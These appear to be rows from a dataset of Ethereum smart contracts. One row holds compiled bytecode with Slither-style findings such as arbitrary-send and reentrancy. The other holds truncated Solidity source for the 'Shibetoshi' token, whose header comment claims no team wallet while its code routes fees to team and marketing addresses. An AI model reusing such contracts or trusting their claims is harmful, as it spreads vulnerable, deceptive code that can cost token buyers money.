} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb146103df578063ab62f50c1461041c578063b7760c8f14610445578063dd62ed3e1461046e578063f2fde38b146104ab578063f887ea40146104d457610135565b8063715018a61461031c5780638da5cb5b1461033357806395d89b411461035e5780639a36f93214610389578063a8aa1b31146103b457610135565b80632b14ca56116100f25780632b14ca5614610233578063313ce5671461025e578063470624021461028957806349bd5a5e146102b457806370a08231146102df57610135565b806306fdde031461013a578063095ea7b31461016557806312514bba146101a257806318160ddd146101cb57806323b872dd146101f657610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104ff565b60405161015c9190611cbf565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611d7a565b610591565b6040516101999190611dd5565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611df0565b6105a6565b005b3480156101d757600080fd5b506101e06105f9565b6040516101ed9190611e2c565b60405180910390f35b34801561020257600080fd5b5061021d60048036038101906102189190611e47565b610620565b60405161022a9190611dd5565b60405180910390f35b34801561023f57600080fd5b506102486106c8565b6040516102559190611e2c565b60405180910390f35b34801561026a57600080fd5b506102736106ce565b6040516102809190611e2c565b60405180910390f35b34801561029557600080fd5b5061029e6106da565b6040516102ab9190611e2c565b60405180910390f35b3480156102c057600080fd5b506102c96106e0565b6040516102d69190611ea9565b60405180910390f35b3480156102eb57600080fd5b5061030660048036038101906103019190611ec4565b610706565b6040516103139190611e2c565b60405180910390f35b34801561032857600080fd5b5061033161074f565b005b34801561033f57600080fd5b506103486107d7565b6040516103559190611ea9565b60405180910390f35b34801561036a57600080fd5b50610373610800565b6040516103809190611cbf565b60405180910390f35b34801561039557600080fd5b5061039e610892565b6040516103ab9190611e2c565b60405180910390f35b3480156103c057600080fd5b506103c9610898565b6040516103d69190611ea9565b60405180910390f35b3480156103eb57600080fd5b5061040660048036038101906104019190611d7a565b610a3b565b6040516104139190611dd5565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e9190611ef1565b610a52565b005b34801561045157600080fd5b5061046c60048036038101906104679190611f44565b610ab5565b005b34801561047a57600080fd5b5061049560048036038101906104909190611f84565b610b46565b6040516104a29190611e2c565b60405180910390f35b3480156104b757600080fd5b506104d260048036038101906104cd9190611ec4565b610bcd565b005b3480156104e057600080fd5b506104e9610cc5565b6040516104f69190612023565b60405180910390f35b60606004805461050e9061206d565b80601f016020809104026020016040519081016040528092919081815260200182805461053a9061206d565b80156105875780601f1061055c57610100808354040283529160200191610587565b820191906000526020600020905b81548152906001019060200180831161056a57829003601f168201915b5050505050905090565b600061059e338484610ceb565b905092915050565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156105f657806007819055505b50565b60006009600a610609919061220e565b66038d7ea4c6800061061b9190612259565b905090565b600061062d848484610e86565b6106bf843384600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106ba91906122b3565b610ceb565b90509392505050565b60025481565b6000600960ff16905090565b60015481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107576117dc565b73ffffffffffffffffffffffffffffffffffffffff166107756107d7565b73ffffffffffffffffffffffffffffffffffffffff16146107cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c290612333565b60405180910390fd5b6107d560006117e4565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461080f9061206d565b80601f016020809104026020016040519081016040528092919081815260200182805461083b9061206d565b80156108885780601f1061085d57610100808354040283529160200191610888565b820191906000526020600020905b81548152906001019060200180831161086b57829003601f168201915b5050505050905090565b60035481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610907573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092b9190612368565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d89190612368565b6040518363ffffffff1660e01b81526004016109f5929190612395565b602060405180830381865afa158015610a12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a369190612368565b905090565b6000610a48338484610e86565b6001905092915050565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610ab0578260028190555081600181905550806003819055505b505050565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610b425781600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bd56117dc565b73ffffffffffffffffffffffffffffffffffffffff16610bf36107d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4090612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb090612430565b60405180910390fd5b610cc2816117e4565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610d565750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8c906124c2565b60405180910390fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610e739190611e2c565b60405180910390a3600190509392505050565b600860159054906101000a900460ff16158015610ef15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f4b5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f9657506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b8015610fa457506006548111155b1561103a576000600754600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff891906124e2565b1015611039576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611030906125aa565b60405180910390fd5b5b600061104530610706565b90506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146110a6576001546110aa565b6002545b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561114c5761110b610898565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600860149054906101000a900460ff168015611169575060065482115b80156111825750600860159054906101000a900460ff16155b80156111dc5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611225576001600860156101000a81548160ff021916908315150217905550611205826118a8565b6000600860156101000a81548160ff021916908315150217905550611323565b6000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156112b357506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156113225782905080600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461130a91906124e2565b9250508190555061131b83856118e9565b50506117d7565b5b600654831180156113825750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113dc5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561142c5782600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050506117d7565b600080600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480156114bb57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156114c75750600082115b80156114e05750600860159054906101000a900460ff16155b90506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561159857600654600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b85600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081156116c157600354606484876115f09190612259565b6115fa91906125f9565b61160491906125f9565b9250828561161291906122b3565b945082600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461166391906122b3565b9250508190555082600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116b991906124e2565b925050819055505b84600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461171091906122b3565b9250508190555084600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461176691906124e2565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516117ca9190611e2c565b60405180910390a3505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826118b791906125f9565b905060004790506118c882306118e9565b600081476118d691906122b3565b90506118e3838230611b3a565b50505050565b6000600267ffffffffffffffff8111156119065761190561262a565b5b6040519080825280602002602001820160405280156119345781602001602082028036833780820191505090505b509050308160008151811061194c5761194b612659565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a179190612368565b81600181518110611a2b57611a2a612659565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a9230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610ceb565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601442611ae391906124e2565b6040518663ffffffff1660e01b8152600401611b03959493929190612781565b600060405180830381600087803b158015611b1d57600080fd5b505af1158015611b31573d6000803e3d6000fd5b50505050505050565b611b6730600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610ceb565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087601442611bba91906124e2565b6040518863ffffffff1660e01b8152600401611bdb969594939291906127db565b60606040518083038185885af1158015611bf9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611c1e9190612851565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c60578082015181840152602081019050611c45565b83811115611c6f576000848401525b50505050565b6000601f19601f8301169050919050565b6000611c9182611c26565b611c9b8185611c31565b9350611cab818560208601611c42565b611cb481611c75565b840191505092915050565b60006020820190508181036000830152611cd98184611c86565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d1182611ce6565b9050919050565b611d2181611d06565b8114611d2c57600080fd5b50565b600081359050611d3e81611d18565b92915050565b6000819050919050565b611d5781611d44565b8114611d6257600080fd5b50565b600081359050611d7481611d4e565b92915050565b60008060408385031215611d9157611d90611ce1565b5b6000611d9f85828601611d2f565b9250506020611db085828601611d65565b9150509250929050565b60008115159050919050565b611dcf81611dba565b82525050565b6000602082019050611dea6000830184611dc6565b92915050565b600060208284031215611e0657611e05611ce1565b5b6000611e1484828501611d65565b91505092915050565b611e2681611d44565b82525050565b6000602082019050611e416000830184611e1d565b92915050565b600080600060608486031215611e6057611e5f611ce1565b5b6000611e6e86828701611d2f565b9350506020611e7f86828701611d2f565b9250506040611e9086828701611d65565b9150509250925092565b611ea381611d06565b82525050565b6000602082019050611ebe6000830184611e9a565b92915050565b600060208284031215611eda57611ed9611ce1565b5b6000611ee884828501611d2f565b91505092915050565b600080600060608486031215611f0a57611f09611ce1565b5b6000611f1886828701611d65565b9350506020611f2986828701611d65565b9250506040611f3a86828701611d65565b9150509250925092565b60008060408385031215611f5b57611f5a611ce1565b5b6000611f6985828601611d65565b9250506020611f7a85828601611d2f565b9150509250929050565b60008060408385031215611f9b57611f9a611ce1565b5b6000611fa985828601611d2f565b9250506020611fba85828601611d2f565b9150509250929050565b6000819050919050565b6000611fe9611fe4611fdf84611ce6565b611fc4565b611ce6565b9050919050565b6000611ffb82611fce565b9050919050565b600061200d82611ff0565b9050919050565b61201d81612002565b82525050565b60006020820190506120386000830184612014565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061208557607f821691505b602082108114156120995761209861203e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612125578086048111156121015761210061209f565b5b60018516156121105780820291505b808102905061211e856120ce565b94506120e5565b94509492505050565b60008261213e57600190506121fa565b8161214c57600090506121fa565b8160018114612162576002811461216c5761219b565b60019150506121fa565b60ff84111561217e5761217d61209f565b5b8360020a9150848211156121955761219461209f565b5b506121fa565b5060208310610133831016604e8410600b84101617156121d05782820a9050838111156121cb576121ca61209f565b5b6121fa565b6121dd84848460016120db565b925090508184048111156121f4576121f361209f565b5b81810290505b9392505050565b600060ff82169050919050565b600061221982611d44565b915061222483612201565b92506122517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461212e565b905092915050565b600061226482611d44565b915061226f83611d44565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156122a8576122a761209f565b5b828202905092915050565b60006122be82611d44565b91506122c983611d44565b9250828210156122dc576122db61209f565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061231d602083611c31565b9150612328826122e7565b602082019050919050565b6000602082019050818103600083015261234c81612310565b9050919050565b60008151905061236281611d18565b92915050565b60006020828403121561237e5761237d611ce1565b5b600061238c84828501612353565b91505092915050565b60006040820190506123aa6000830185611e9a565b6123b76020830184611e9a565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061241a602683611c31565b9150612425826123be565b604082019050919050565b600060208201905081810360008301526124498161240d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006124ac602483611c31565b91506124b782612450565b604082019050919050565b600060208201905081810360008301526124db8161249f565b9050919050565b60006124ed82611d44565b91506124f883611d44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561252d5761252c61209f565b5b828201905092915050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e7400000000000000000000000000000000000000000000000000602082015250565b6000612594602783611c31565b915061259f82612538565b604082019050919050565b600060208201905081810360008301526125c381612587565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061260482611d44565b915061260f83611d44565b92508261261f5761261e6125ca565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006126ad6126a86126a384612688565b611fc4565b611d44565b9050919050565b6126bd81612692565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6126f881611d06565b82525050565b600061270a83836126ef565b60208301905092915050565b6000602082019050919050565b600061272e826126c3565b61273881856126ce565b9350612743836126df565b8060005b8381101561277457815161275b88826126fe565b975061276683612716565b925050600181019050612747565b5085935050505092915050565b600060a0820190506127966000830188611e1d565b6127a360208301876126b4565b81810360408301526127b58186612723565b90506127c46060830185611e9a565b6127d16080830184611e1d565b9695505050505050565b600060c0820190506127f06000830189611e9a565b6127fd6020830188611e1d565b61280a60408301876126b4565b61281760608301866126b4565b6128246080830185611e9a565b61283160a0830184611e1d565b979650505050505050565b60008151905061284b81611d4e565b92915050565b60008060006060848603121561286a57612869611ce1565b5b60006128788682870161283c565b93505060206128898682870161283c565b925050604061289a8682870161283c565b915050925092509256fea264697066735822122008757c83d7f03fc6121552c96a98f220b44bf73e78cc4c4643554f270d01ed9464736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,336 |
0x591a9bfffd942a73c2263658fda7a5dde141bb8c | /**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
/*
https://t.me/ShibetoshiNakamoto
The real DOGEFATHER
We have a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, as a result; $SHIBETOSHI is designed to reward holders and discourage dumping.
1. Bot and whale manipulation prevention: Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will go directly to Uniswap for trading.
3. No presale or team wallets allocated with tokens that can dump on the community.
Token Information:
1. 1,000,000,000,000 Total Supply, but we're burning 10% of this imemdiately to create a super deflationary mechanism within the tokenomics!
3. Developer provides LP and it's locked with Team.Finance
4. We have made the fairest possible launch for everyone and pre-announced, so there is no early secret buyers!
5. 0,6% transaction limit on launch - You can only buy 6000000000 $SHIBETOSHI until it's lifted
6. Buy limit lifted to 1% of the supply 5 minutes after launch, then the ownership of the token is immediately renounced
7. Sells limited to 3% of the Liquidity Pool, <3% price impact - Anti dump mechanism
8. Sell cooldown increases on consecutive sells, 5 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 6% redistribution to holders on the first sell, increases 2x, 3x, 4x, 5x on consecutive sells
11. This redistribution mechanism works as expected above and benefits the holders much more than sellers!
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract ShibetoshisContract is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shibetoshi Nakamoto";
string private constant _symbol = "SHIBETOSHI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 6;
uint256 private _teamFee = 7;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 5;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (12 hours);
}
else if (sellnumber[from] == 4) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 6000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
